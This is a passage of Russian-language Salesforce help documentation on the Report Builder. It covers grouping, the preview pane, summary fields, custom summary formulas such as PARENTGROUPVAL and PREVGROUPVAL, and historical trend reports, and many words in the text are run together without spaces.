несколько полей на панель «Предварительный просмотр».

Добавление группировки

Чтобы добавить группу, перетащите поле в зону сброса.

Чтобы разрешить отображение данных зон, последовательно выберите пункты «Показать» > «Зоны сброса». При
необходимостищелкните меню нужного столбца отчета и выберите пункт «Группировать по этому полю».

Совет: Чтобы сгруппировать данные отчета по полю даты, откройте меню нужной группы, выберите пункт
«Группировать даты по:» и укажите нужный временной интервал: день, неделя, месяц, квартал, год и т. д.

Группирование данных в разных форматах отчетов

Сводные и составные отчеты могут содержать не более трех уровней группировки. Матричные отчеты могут содержать
две группировки строк и две группировки столбцов. Группировки строк и столбцов матричных отчетов должны
использоваться разные поля. Чтобы сгруппировать все блоки составного отчета, рекомендуем использовать поля из
категории «Общие поля» на панели «Поля».

Удаление группировки

Чтобыудалить группу, откройтеменюнужнойгруппыивыберитепункт «Удалитьгруппу». Принеобходимостизацепите
группу и...

• перетащите ее в строку столбца для последующего удаления группы, но сохранения поля в качестве столбца отчета.

• перетащите ее обратно на панель «Поля» для последующего удаления группы и поля из отчета.
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Изменение порядка отображения группировок

Чтобыизменитьпорядокотображения групп, перетащитенужнуюгруппу в другуюобластьилищелкнитеменюнужной
группы и выберите пункт «Переместить группу вверх» или «Переместить группу вниз» для группировки столбцов,
либо «Переместить группу влево» или «Переместить группу вправо» для группировки строк.

СМ. ТАКЖЕ:

Поля отчетов

Подведение промежуточных результатов отчетов

Использование отчета при загрузке области предварительного просмотра

В большинстве случаев работа над отчетом может быть продолжена даже во время загрузки области предварительного
просмотра. Например, группировка может быть создана во время загрузки столбцов, которые соответствуют полям,
добавленным в редактируемый отчет.

Данные, отображаемые на панели «Предварительный просмотр», являются реальными, но представляют собой только
набор данных, позволяющих открывать отчет для предварительного просмотра. Панель «Предварительный просмотр»
может не отображать или сортировать некоторые строки некорректно. Не беспокойтесь!

Вбольшинстве случаев конструктор отчетов позволяет продолжать работу над отчетами даже во время загрузки области
предварительного просмотра. Например, группировка может быть создана во время загрузки столбцов, которые
соответствуют полям, добавленным в редактируемый отчет.

Прим.: Асинхронная загрузка недоступна для матричных и составных отчетов.

Нижеперечисленыдействия, выполнениекоторыхнепрепятствуетиспользованиюобластипредварительногопросмотра.

• Добавление, удаление или изменение порядка отображения полей

• Добавление или удаление полей резюмирования

• Добавление, удаление или изменение порядка отображения группировок

• Удаление формул

Прим.: Удалениеполярезюмированияилиформулы, используемойв диаграмме, инициируетповторнуюзагрузку
диаграммы и асинхронную загрузку области предварительного просмотра.

Нижеперечисленыдействия, выполнение которыхпрепятствуетиспользованиюобластипредварительногопросмотра.

• Добавление или редактирование формул

• Удаление единственной группировки отчета

• Удаление столбца, используемого для ограничения количества строк в табличных отчетах

• Сортировка результатов отчета по группам или столбцам

• Обновление стандартных или настраиваемых фильтров

• Изменение формата отчета

• Отображение или скрытие сведений об отчете

• Добавление или удаление диаграммы

• Добавление или удаление условного выделения

• Изменение значения поля «Группировать даты по:»

• Изменение преобразованного поля валюты
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• Сохранение отчета

СМ. ТАКЖЕ:

Создание отчета

Поля отчетов

Настройка отчетов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии, кроме
Database.com Edition.

Конструктор отчетов — это экранный редактор отчетов.Окно конструктора отчетов
позволяетиспользоватьполяифильтрыотчетов, атакжеподдерживаетпредварительный
просмотр отчетов только по некоторым данным.

Благодаря сжатому верхнему колонтитулу страницы, конструктор отчетов позволяет
оптимизировать полезную площадь экрана. Чтобы просмотреть вкладки приложения,
закройте конструктор илищелкните логотип Salesforce.
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Панель полей (1)
The Fields pane displays fields from the selected report type, organized by folder.Чтобыдобавитьполя в отчет, найдитенужные
поляпосредствомполябыстрогопоискаифильтровтиповполей, а затемперетащитеихнапанель «Предварительный
просмотр».

Кроме того, панель «Поля» позволяет создавать, просматривать, редактировать и удалять настраиваемые формулы
резюмирования и поля области.
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Прииспользовании составныхотчетовпанель «Поля» содержитполя, доступные во всех типах, добавленных в отчет,
и организованные по типам отчетов.

Панель полей (2)
Чтобыограничитьданные, отображаемыевотчете, настройтепараметрыпросмотра, интервалвремениинастраиваемые
фильтры.

Панель полей (3)
Функция динамического предварительногопросмотра позволяет значительно упростить процесс настройки отчета.
Даннаяпанельпозволяет добавлятьи удалять столбцы, полярезюмирования, формулы, группировкииблоки, а также
изменять порядок их отображения. Панель позволяет добавлять диаграммы, а также изменять формат отчета и
параметры отображения.

Окнопредварительногопросмотраотображаетограниченноеколичествозаписей. Чтобыпросмотретьвсерезультаты,
рекомендуем запустить отчет.

СМ. ТАКЖЕ:

Визуализация сложной информации посредством панелей мониторинга

Создание отчета

Создание отчета

Поля отчетов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и удаления
отчетов:
• «Создание и настройка

отчетов»

И

«Конструктор отчетов»

Панель «Поля» содержит поля, доступные в выбранном типе отчета и организованные
попапкам.Крометого, панель «Поля» содержитнастраиваемыеформулырезюмирования,
доступные для создания, редактирования и удаления.

Добавлениефильтров поля
Чтобы добавитьфильтр табличного, сводного или матричного отчета, перетащите
нужное поле с панели «Поля» на панель «Фильтры».

Поиск полей
Чтобы найти поле, введите имя нужного поля в поле «Быстрый поиск». При
необходимости отфильтруйте список по типу.

• Чтобыпросмотреть все типыполейинастраиваемыеформулырезюмирования,
нажмите кнопку .

• Чтобы просмотреть только текстовые поля, нажмите кнопку .

• Чтобыпросмотретьтолькочисловыеполя (числа, процентыиливалюта), нажмите
кнопку .

• Чтобы просмотреть только поля даты, нажмите кнопку .

Добавление и удаление полей
Чтобыдобавитьполев табличный, сводныйилиматричныйотчет, дваждыщелкните
или перетащите нужное поле на панель «Предварительный просмотр». Чтобы
добавить поле в составной отчет, перетащите нужное поле на панель
«Предварительный просмотр». Чтобы выбрать несколько полей, нажмите клавишу
CTRL. Чтобы добавить все поля, доступные в папке, перетащите саму папку. Полеможет быть добавлено в табличный,
сводный или матричный отчет только один раз. Составные отчеты поддерживают многократное добавление одних
и техже полей, при условии, что они добавляются в разные блоки. Чтобыпросмотреть поля отчета, выберите пункты
«Показать» > «Сведения» в области предварительного просмотра. Если пункты «Показать» > «Сведения»
недоступны, то пользователь может добавить только поля резюмирования.
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Чтобы удалить поле, зацепите заголовок столбца и перетащите его обратно на панель «Поля». При использовании
табличного, сводного или матричного отчета выберите пункт «Удалить столбец» в меню столбца или щелкните
ссылку «Удалить все столбцы».

Работа с набором полей
Конструктор отчетов поддерживает пакетное добавление, удаление и изменение порядка отображения полей.
Например, отчет может быть одновременно дополнен полями «Создано», «Тип» и «Имя возможности».

Чтобы выбрать несколько полей или столбцов, нажмите клавишу CTRL (Windows) или Command (Mac).

Прим.:

• Добавленные поля отображаются в отчете в порядке их выбора.

• Придобавлениинесколькихсуммируемыхполейвсводныйилитабличныйотчетрекомендуемснятьфлажок
«Показать» > «Сведения». Автоматически отображается диалоговое окно «Резюмировать», позволяющее
одновременно выбрать суммарные значения для всех полей.

• При добавлении полей, которые не связаны с резюмированием (например, текстовые поля), рекомендуем
установить флажок «Показать» > «Сведения».

• При создании составного отчета пользователь может выбрать несколько полей из категории «Общие поля»
и один тип отчета. Поля не могут быть выбраны из разных типов отчетов.

Изменение порядка отображения и сортировка полей
Чтобы изменить порядок отображения столбцов отчета, зацепите заголовок нужного столбца и перетащите его в
другую область. Чтобы выбрать несколько столбцов, нажмите клавишу CTRL. Чтобы отсортировать данные по
конкретномустолбцу, щелкните заголовокнужногостолбца. Принеобходимостищелкнитеменюстолбцаивыберите
пунктраскрывающегосясписка «Сортировкаповозрастанию»или «Сортировкапоубыванию». Чтобывключить
сортировку, выберите пункты «Показать» > «Сведения».

Изменение отображаемой валюты
Если организация использует мультивалюту, то отображаемая валюта может быть изменена для всех полей валюты.
Последовательновыберитепункты «Показать» > «Отобразитьиспользуемыевалюты», а затемвыберите активную
валюту для отображения.

СМ. ТАКЖЕ:

Работа с формулами в отчетах

Группирование данных отчета

Резюмирование данных отчета

Выделение диапазонов данных
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Резюмирование данных отчета

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и удаления
отчетов:
• «Создание и настройка

отчетов»

И

«Конструктор отчетов»

Поле резюмирования содержит числовые значения, поддерживающие вычисление
суммарного, среднего, максимальногоиминимального значений. Полярезюмирования
отображаютсянавсехуровнях группировки. Полярезюмированиясводныхиматричных
отчетов также отображаются на уровне общей суммы.

Панель «Поля» содержит поля, доступные в выбранном типе отчета и организованные
по папкам.

Резюмирование — это значение «Сумма», «Среднее значение», «Максимальное
значение» или «Минимальное значение», заданное для числового поля. (Чтобы
просмотреть только числовые поля, нажмите кнопку .)

Чтобы добавить поле резюмирования, выполните указанные ниже действия.

• Дваждыщелкните числовое поле на панели «Поля».

• Перетащите нужное числовое поле в область предварительного просмотра. Чтобы
выбратьнесколькополей, нажмитеклавишуCTRL. Матричныеотчетысодержат зоны
сброса до, между и после наборов полей резюмирования. Например, суммарное,
среднее, максимальное и минимальное значения поля «Годовой доход» являются
набором и не позволяют вставлять новые поля резюмирования.

• Выберитепункт «Резюмироватьданноеполе» вменюстолбца, соответствующего
полю отчета.

Чтобы изменить текущее поле резюмирования или добавить другие сводки, нажмите

кнопку напротив нужного поля резюмирования и выберите значение
«Резюмировать данное поле».

Чтобы удалить поле резюмирования, выполните указанные ниже действия.

• Выберите пункт «Резюмировать данное поле» в соответствующем меню и снимите все флажки.

• Откройте меню нужного поля и выберите пункт «Удалить сводку».

• Перетащите поле резюмирования обратно на панель «Поля». Обратите внимание, что все сводки для данного поля
подлежат удалению. Чтобы выбрать несколько полей резюмирования, нажмите клавишу CTRL.

Чтобы изменить порядок отображения наборов полей резюмирования в матричных отчетах, перетащите нужное поле
в другую область. Сводки каждого поля перемещаются вместе с полем. Например, если отчет содержит суммарное и
среднее значенияполя «Годовой доход», а такжемаксимальноеиминимальное значенияполя «Вероятность», то сводки
поля «Вероятность» могут бытьперенесеныи вставленыдоилипосле сводокполя «Годовой доход», нонемеждуними.
Сводки не могут быть вставлены после настраиваемых формул резюмирования или поля «Количество записей».

СМ. ТАКЖЕ:

Поля отчетов

Подведение промежуточных результатов отчетов
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Подведение промежуточных результатов отчетов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для подведения
промежуточныхрезультатов
отчетов:
• «Создание и настройка

отчетов»

Промежуточные результаты отчетов позволяют анализировать основные изменения
данных. Пользователи могут группировать наборы данных, сортировать группировки
и сравнивать промежуточные результаты по каждому набору относительно общего
итога. Кроме того, сводные и составные отчеты позволяют подводить промежуточные
результаты по нескольким полям путем отображения каскадных наборов данных.

Например, при подведении промежуточных результатов сводного отчета по полю
«Ответственный за возможность» отчет группирует организации по полю
«Ответственныйзавозможность», определяетколичествовозможностей, принадлежащих
каждому пользователю, и отображает промежуточные результаты по полю
«Ответственный за возможность» для всех столбцов отчета. При необходимости
подведите промежуточные результаты для возможностей каждого пользователя по
продукту.

1. Нажмите кнопку «Настроить» или «Правка» в любом отчете.

2. Добавьте поле резюмирования в отчет посредством конструктора отчетов.
Полярезюмированияотображаютсяна уровнях группировкиидляотдельныхстрок.

СМ. ТАКЖЕ:

Страница запуска отчета

Создание настраиваемойформулы резюмирования

Создание отчета

Подведение промежуточных результатов отчетов

Интеллектуальное суммирование в отчетах

Интеллектуальное суммирование обрабатывает повторяющиеся данные только один раз. Система Salesforce использует
интеллектуальное суммирование при выполнении отчетов, содержащих повторяющиеся данные в любом столбце,
выбранном для суммирования или вычисления среднего значения.

Например, если возможностьиспользует двапродукта, топривыполненииотчетапопродуктамвозможности, где общая
стоимость возможностивыбирается в качестве столбцадля суммирования, стоимостьотображается в сведенияхоботчете
дважды — по одному разу для каждого продукта возможности.

Таким образом, интеллектуальное суммирование, добавляющее стоимость возможности только один раз, позволяет
правильно вычислить любые промежуточные результаты, общие суммы и средние значения.

Прим.: Интеллектуальноесуммированиенеподдерживаетсякомпонентамипанелимониторинга. Например, общая
сумма, отображаемая в таблицепанелимониторинга, представляет собойсумму значений, перечисленныхв таблице.

СМ. ТАКЖЕ:

Подведение промежуточных результатов отчетов

Подведение промежуточных результатов отчетов
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Работа с формулами в отчетах

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и удаления
отчетов:
• «Создание и настройка

отчетов»

И

«Конструктор отчетов»

Формулы позволяют создавать настраиваемые поля резюмирования на основе
вычисленных значений посредством данных отчета. Данные формулы могут
использоваться в качестве столбцов отчета.

Панель «Поля» содержит поля, доступные в выбранном типе отчета и организованные
по папкам.

Чтобы добавить новуюформулу в сводный или матричный отчет, дваждыщелкните
ссылку «Добавитьформулу». Настройте необходимые параметры и нажмите кнопку
«OK». Формула автоматически добавляется в область предварительного просмотра в
качестве столбца сводного отчета или поля резюмирования матричного отчета.
Составные отчеты могут быть дополнены кросс-блоком или стандартной формулой
настраиваемого резюмирования. Чтобы изменить формулу, наведите указатель мыши
на имя нужной формулы на панели «Поля» ищелкните значок .

Чтобыудалитьформулуизобластипредварительногопросмотра, зацепите ее заголовок
и перетащите его обратно на панель «Поля» илищелкните меню нужной формулы и
выберите пункт «Удалитьформулу». Чтобы выбрать несколько формул, нажмите
клавишу CTRL. Удаление формулы из области предварительного просмотра не
инициирует удаление самой формулы. Чтобы удалить формулу, наведите указатель

мыши на имя нужной формулы ищелкните значок или выберите пункт меню
«Удалитьформулу».

Диаграммы отчетов и панелей мониторинга, содержащие значения из настраиваемых
формул резюмирования, отображают знаки после запятой посредством параметра
стандартнойвалютывзамензначения, указанногодляформулы. Например, есликоличестводесятичныхзнаковвформуле
резюмирования равно нулю, то десятичные знаки не отображаются в столбцах, однако значения диаграммы содержат
десятичные знаки, заданные для стандартной валюты (обычно два десятичных знака). Данное правило применяется к
валютам, числам и процентам.

1. Создание настраиваемойформулы резюмирования
Настраиваемыеформулырезюмированиядлясводныхиматричныхотчетовпозволяютрассчитыватьдополнительные
итоговые значения на основе числовых полей, доступных в отчете.

2. Использование функции резюмирования в настраиваемойформуле резюмирования
Функциирезюмированияпозволяютиспользовать значения группировоквнастраиваемыхформулахрезюмирования
длясводных, матричныхисоставныхотчетов. Системаподдерживаетдвефункциирезюмирования: PARENTGROUPVAL
и PREVGROUPVAL.

3. Функции PARENTGROUPVAL и PREVGROUPVAL

Рекомендуем использовать функцию PARENTGROUPVAL для вычисления значений относительно родительской
группировки. Рекомендуем использовать функцию PREVGROUPVAL для вычисления значений относительно
одноранговой группировки.
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4. Эффективное использование настраиваемых формул резюмирования
Настраиваемыеформулырезюмированияпозволяютповыситьэффективностьотчетов, нотребуютособоговнимания.
Ниже перечислены некоторые рекомендации по их использованию.

СМ. ТАКЖЕ:

Создание настраиваемойформулы резюмирования

Поля отчетов

Создание настраиваемойформулы резюмирования

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и удаления
отчетов:
• «Создание и настройка

отчетов»

И

«Конструктор отчетов»

Настраиваемыеформулырезюмированиядля сводныхиматричныхотчетовпозволяют
рассчитыватьдополнительныеитоговыезначениянаосновечисловыхполей, доступных
в отчете.

Формула — это алгоритм, значение которого вычисляется на основе других полей,
выражений или значений. Настраиваемые формулы резюмирования могут содержать
неболее 3 900 символов. Настраиваемыеформулырезюмированиядоступнывсводных,
матричных и составных отчетах. Они не могут одновременно использоваться в
нескольких отчетах.

1. Щелкните ссылку «Добавитьформулу» на панели «Поля» в конструкторе отчетов.

2. Введите имя формулы в том виде, в котором оно должно отображаться в отчете.
Метка должна быть уникальной. При необходимости введите описание.

3. Исходя из результата вычисления, выберите соответствующий тип данных для
формулы в раскрывающемся списке «Формат».

4. Исходя из выбранного типа данных, выберите количество знаков после запятой в
раскрывающемся списке «Знаки после запятой». Данный параметр пропускается
для полей валюты в организациях, поддерживающих использование нескольких
валют. Взамен, применяется параметр валюты «Знаки после запятой».

Нижеперечисленызначения, которыедействительнывтомслучае, есливпараметре
«Знаки после запятой» выбрано значение «Нет».

• Валюта: отображение не более 18 цифр; позиция десятичной запятой по
умолчанию.

• Проценты: отображение не более 18 цифр; десятичная запятая отсутствует.

• Числа: отображение не более 18 цифр; позиция десятичной запятой не меняется.

5. Установитенужныйпереключательвразделе «Место отображения данной формулы».Расчет для даннойформулы
отображается в отчете, на выбранном уровне. Чтобы показывать расчет для формулы на каждом уровне, включая
уровень общего итога, установите переключатель «Все уровни резюмирования».

6. Чтобы создать формулу, выполните указанные ниже действия.

a. Выберите поле в раскрывающемся списке «Поля резюмирования». Значение данного поля используется в
формуле.

b. Выберите нужный тип резюмирования. Данный параметр недоступен для поля «Количество записей».
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ОписаниеТип резюмирования

Итоговое значение данных в поле или группировке
полей.

Сумма

Максимальноезначениеданныхвполеилигруппировке
полей.

Наибольшее значение

Минимальноезначениеданныхвполеилигруппировке
полей.

Наименьшее значение

Среднее значение данных в поле или группировке
полей.

Среднее значение

c. Чтобы добавить операторы в формулу, нажмите кнопку «Операторы».

d. Выберите категориюфункций («Все», «Логические», «Математические» или «Сводные»), затем выберите нужную
функцию и нажмите кнопку «Вставить».

e. При необходимости повторите эти действия.

7. Чтобы проверить формулу на наличие ошибок, нажмите кнопку «Проверка синтаксиса». Ошибки выделяются
курсором.

8. Нажмите кнопку «OK». Формула будет сохранена только после сохранения отчета.

СМ. ТАКЖЕ:

Создание отчета

Работа с формулами в отчетах

Эффективное использование настраиваемых формул резюмирования

Создание настраиваемойформулы резюмирования для составного отчета
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Использование функции резюмирования в настраиваемойформуле резюмирования

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и удаления
отчетов:
• «Создание и настройка

отчетов»

И

«Конструктор отчетов»

Функции резюмирования позволяют использовать значения группировок в
настраиваемыхформулахрезюмированиядля сводных, матричныхисоставныхотчетов.
Система поддерживает две функции резюмирования: PARENTGROUPVAL и
PREVGROUPVAL.

1. Дваждыщелкните пункт «Добавитьформулу» на панели «Поля».

2. Выберите значение «Резюме» в раскрывающемся списке «Функции» диалогового
окна «Настраиваемая формула резюмирования».

3. Выберите функцию PARENTGROUPVAL или PREVGROUPVAL.

4. Выберите уровень группировки и нажмите кнопку «Вставить».

5. Определите формулу, в том числе место ее отображения.

6. Нажмите кнопку «OK».

СМ. ТАКЖЕ:

Работа с формулами в отчетах

Функции PARENTGROUPVAL и PREVGROUPVAL

Функции PARENTGROUPVAL и PREVGROUPVAL

Рекомендуем использовать функцию PARENTGROUPVAL для вычисления значений
относительно родительской группировки. Рекомендуем использовать функцию
PREVGROUPVAL для вычисления значений относительно одноранговой группировки.

PARENTGROUPVAL

Рекомендуем использовать даннуюфункцию для вычисления значений относительно родительской группировки.

Данная функция возвращает значение указанной родительской группировки.
Родительская группировка — это любой вышестоящий уровень над группировкой,

Описание:

содержащейформулу. Данная функция может использоваться только в настраиваемых
формулах резюмирования для создания отчетов.

Сводный и составной отчеты: PARENTGROUPVAL(поле_резюмирования,
уровень_группировки)

Матричный отчет: PARENTGROUPVAL(поле_резюмирования,
родительская_группировка_строк, родительская_группировка_столбцов)

Использование:

Параметр поле_резюмирования отображает значение итогового поля; параметр
уровень_группировки отображаетродительскийуровеньдлясводныхотчетов, апараметры
родительская_группировка_строк и родительская_группировка_столбцов отображают
родительские уровни для матричных отчетов.

TOTAL_PRICE:SUM/PARENTGROUPVAL(TOTAL_PRICE:SUM, GRAND_SUMMARY)
Пример:
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Данная формула вычисляет размер каждого продукта относительно итоговой суммы.
Данный пример использует сводный отчет по возможностям и их продуктам,
сгруппированным по полю «Имя продукта».

PREVGROUPVAL

Рекомендуемиспользовать даннуюфункциюдля вычисления значенийотносительноодноранговой группировки. При
отсутствии предыдущей группировки функция возвращает нулевое значение.

Даннаяфункциявозвращаетзначениеуказаннойпредыдущейгруппировки. Предыдущая
группировка — это группировка, расположенная в отчете перед текущей группировкой.

Описание:

Выберите уровень группировки и инкремент. Инкремент — это количество столбцов
или строк, расположенных перед текущим полем резюмирования. Значение по
умолчанию: «1»; максимальное значение: «12». Данная функция может использоваться
только в настраиваемых формулах резюмирования для создания отчетов.

PREVGROUPVAL(summary_field, grouping_level [, increment])
Использование:

Параметр поле_резюмирования отображает имя сгруппированной строки или столбца;
параметр уровень_группировки отображает уровень резюмирования, а параметр
инкремент отображает количество предыдущих строк или столбцов.

AMOUNT:SUM - PREVGROUPVAL(AMOUNT:SUM, CLOSE_DATE)
Пример:

Данная формула вычисляет разницу между текущей и предыдущей стоимостями для
каждого месяца отчета. Данныйпример использует матричный отчет по возможностям,
содержащий столбцы, сгруппированные по полю «Дата закрытия», и строки,
сгруппированные по полю «Этап».

Пример: Скользящее среднее значение за тринедели

Чтобы вычислить скользящее среднее значение стоимостей возможностей за три недели, воспользуйтесь примером
ниже.

(OppProductTrends__c.Amount__c:SUM+ PREVGROUPVAL(OppProductTrends__c.Amount__c:SUM,
OppProductTrends__c.as_of_date__c) + PREVGROUPVAL(OppProductTrends__c.Amount__c:SUM,
OppProductTrends__c.as_of_date__c,2))/3

СМ. ТАКЖЕ:

Создание настраиваемойформулы резюмирования

Работа с формулами в отчетах

Создание настраиваемойформулы резюмирования для составного отчета
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Эффективное использование настраиваемых формул резюмирования

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии, кроме
Database.com Edition.

Настраиваемыеформулырезюмированияпозволяютповыситьэффективностьотчетов,
но требуют особого внимания. Ниже перечислены некоторые рекомендации по их
использованию.

Функции, предназначенные для настраиваемых формул резюмирования в отчетах,
доступны в категории «Функции». Чтобы просмотреть дополнительную информацию
об определеннойфункции, выберите нужнуюфункциюищелкните ссылку «Справка
по этойфункции».

• Формула резюмирования не может ссылаться на другуюформулу резюмирования.

• Независимоот типаданных, формуларезюмированияможет содержатьполяразных
типов, включая: поля чисел, валюты или процентов, а также поля с флажком
(истина/ложь). Например, формула резюмирования в отчете «Возможности с партнерами» может ссылаться на поле
возможности «Стоимость» или «Продолжительность этапа», либо на поле организации «Годовой доход».

• Диаграммы отчетов и панелей мониторинга, содержащие значения из настраиваемых формул резюмирования,
отображают знаки после запятой с помощью параметра валюты по умолчанию, вместо значения, указанного для
формулы. Например, если количество десятичных знаков в формуле резюмирования равно нулю, то десятичные
знаки не отображаются в столбцах, однако значения диаграммы содержат десятичные знаки, заданные для валюты
по умолчанию (обычно два десятичных знака). Данное правило применяется к валютам, числам и процентам.

• Все настраиваемые формулы резюмирования, содержащие поле, которое удалено или недоступно (например, при
применении параметров безопасности полей), удаляются из отчета.

• Типы резюмирования «Сумма», «Наибольшее значение», «Наименьшее значение» и «Среднее значение»
недоступны для поля «Количество записей».

• Тип резюмирования «Наименьшее значение» содержит пустые или нулевые значения в расчетах формулы
резюмирования, если эти значения доступны в данных отчета.

• Тип резюмирования «Наибольшее значение» содержит максимальное пустое (ненулевое) значение, доступное в
данных отчета.

• Проценты отображаются в формулах резюмирования в виде десятичных чисел. Так, 20% отображается в виде числа
0,20.

• Операторы позволяют задавать полям в формулах резюмирования отрицательные значения. Например:
{!EMPLOYEES:SUM} + - {!SALES:SUM}.

• Система Salesforce вычисляет результат для всех настраиваемых формул резюмирования в матричных отчетах, если
в разделе «Место отображения данной формулы» не установлен переключатель «Все уровни резюмирования».
Формула определяет возвращаемое значение. При нулевом результате отображается пустая ячейка.

• Поля резюмирования в табличных, сводных и матричных отчетах могут отображать не более 21 символа.Поля
резюмирования, содержащие не более 21 символа, отображают точные значения; в противном случае, точность
отображаемых значений не гарантируется. Если ячейки отчета содержат сообщение «#Превышен размер!»,
рекомендуемпроверитьформулы, результаты которыхмогут содержать более 18 символов. Кроме того, рекомендуем
избегать умножения и возведения больших чисел в степень, а также деления на очень маленькие числа.

• Формулы обрабатывают пустые (нулевые) ячейки отчета в виде нулевых значений.

• “Если вычисляемое значение формулы содержит ошибку, то в ячейках отчета отображается следующее сообщение:
«#Ошибка!». “Крометого, сообщение «#Ошибка!» отображаетсяприделенииформулынаноль. Чтобыустранить
ошибку, проверьте формулу и укажите другое значение.
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• Настраиваемые формулы резюмирования кросс-блока доступны в составных отчетах.

СМ. ТАКЖЕ:

Создание настраиваемойформулы резюмирования

Настраиваемые формулы резюмирования с составными отчетами

Создание настраиваемойформулы резюмирования для составного отчета

Сохранение отчета

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и удаления
отчетов:
• «Создание и настройка

отчетов»

И

«Конструктор отчетов»

Для ввода уникального
имени отчета,
используемого
интерфейсом API:
• «Настройка

приложения»

Для выбора папки для
хранения общедоступных
отчетов:
• «Управление

общедоступными
отчетами»

Чтобысохранитьвнесенныеизменения, нажмитекнопку«Сохранить». Чтобыполучить
точнуюкопиюисходногоотчетабез внесенияизменений, нажмитекнопку «Сохранить
как». Еслииспользуется Lightning Experience, щелкните «Клонировать», чтобыполучить
точную копию отчета.

1. Проверьтеимя, описаниеипапку. Затемвыполнитеодноизуказанныхнижедействий.

• Чтобысохранитьотчетиоткрытьначальнуюстраницуотчетов, нажмите кнопку
«Сохранить».

• Чтобы сохранить отчет и открыть страницу запуска отчета, нажмите кнопку
«Сохранить и вернуться к отчету».

Прим.: Чтобы сохранить отчет по продажам, прогнозам, возможностям или
действиям на определенном уровне детализации иерархии ролей, установите
флажок «Сохранить уровень иерархии».

Совет: Имя отчета, дополненное двоеточием, отображается на двух отдельных
строках при просмотре отчета. Данный алгоритм позволяет категоризировать
отчеты по имени или отображать длинные имена. Например, значение First
Line: Second Line, введенноевполе «Имя отчета», отображаетсянастранице
запуска отчета следующим образом:
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Составление отчетов по архивным изменениям

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Благодаря составлениюстандартныхоперативныхотчетовпо текущемусостояниюдел,
пользователимогутанализироватьежедневныеиеженедельныеизменениявозможностей,
обращений, прогнозов и настраиваемых объектов.

Прим.: В Lightning Experience поддерживается создание отчетов по архивным
трендам с диаграммами, а табличноепредставлениеотчетовпо архивнымтрендам
недоступно.

1. Отслеживание изменений в ожидаемых продажах
Архивный отчет позволяет отслеживать ожидаемые продажи компании на предмет
активности, необходимой для достижения текущих и будущих запланированных
показателейпродаж. Принеобходимостипросмотритенадежныеилирискованные
сделки за последние три месяца, либо своевременные или затянувшиеся сделки.

2. Просмотр изменения стоимостей прогноза
Предлагаем создать архивный матричный отчет по стоимостям, использованным участниками рабочей группы для
назначениякаждойкатегориипрогноза. Измененияданныхстоимостейпозволяютопределять точность составления
прогнозов участниками рабочей группы.

3. Отслеживание журнала для обращений
Системапозволяетотслеживатьдействиянадобращениямииопределятьобновлениястатусаобращениязапоследние
три месяца его жизненного цикла.

4. Знакомство с архивным трендингом
Функцияархивноготрендингаиспользуетспециальныйтипнастраиваемогоотчета, предназначенныйдляопределения
изменений между пятью датами снимка (например, пять рабочих дней или пять рабочих недель). Наглядное
отображение изменений данных поддерживается диаграммами и панелями мониторинга.

5. Ограничения по архивному трендингу
Система Salesforce применяетнекоторыеограниченияк архивномутрендингу, аименно: периодотслеживанияданных,
количество строк данных, отслеживаемыеполяиобъекты. Данныеограниченияпозволяютуточнятьнаборыданных,
сокращая время ожидания результатов отчетов.

Отслеживание изменений в ожидаемых продажах

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Архивный отчет позволяет отслеживать ожидаемые продажи компании на предмет
активности, необходимой для достижения текущих и будущих запланированных
показателей продаж. При необходимости просмотрите надежные или рискованные
сделки за последние три месяца, либо своевременные или затянувшиеся сделки.

Чтобы просмотреть динамические изменения ожидаемых продаж, рекомендуем
сопоставитьархивныеитекущиезначенияосновныхатрибутоввозможностей (например,
даты, стоимости и статусы). Например, данный сводный отчет позволяет просмотреть
стоимости и даты закрытия возможностей, изменившиеся со вчерашнего дня.
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1. Выберите не более пяти архивных дат для отслеживания ежедневных или еженедельных трендов.

2. Текущие и архивные значения отображаются рядом для удобного сравнения.

3. Измененные даты и стоимости выделяются красным или зеленым цветом.

1. Просмотр динамических изменений ожидаемых продаж
Чтобыпросмотретьизменениеобщейстоимостиожидаемыхпродажотносительновчерашнейдаты, воспользуйтесь
отчетом по архивному трендингу, позволяющему сравнивать две даты.

2. Определение архивных сделок свыше заданного значения
Например, чтобы просмотреть только сделки со стоимостью более 5 000 рублей без учета возможных изменений на
текущуюдату, воспользуйтесьотчетомпоархивномутрендингу, позволяющемуотфильтровать все сделки, стоимость
которых на вчерашнюю дату не превышала 5 000 рублей.

3. Просмотр затянувшихся сделок
Чтобы просмотреть только затянувшиеся сделки, воспользуйтесь отчетом по архивному трендингу, позволяющему
просматривать сделки, даты закрытия которых перенесены на более позднюю дату.

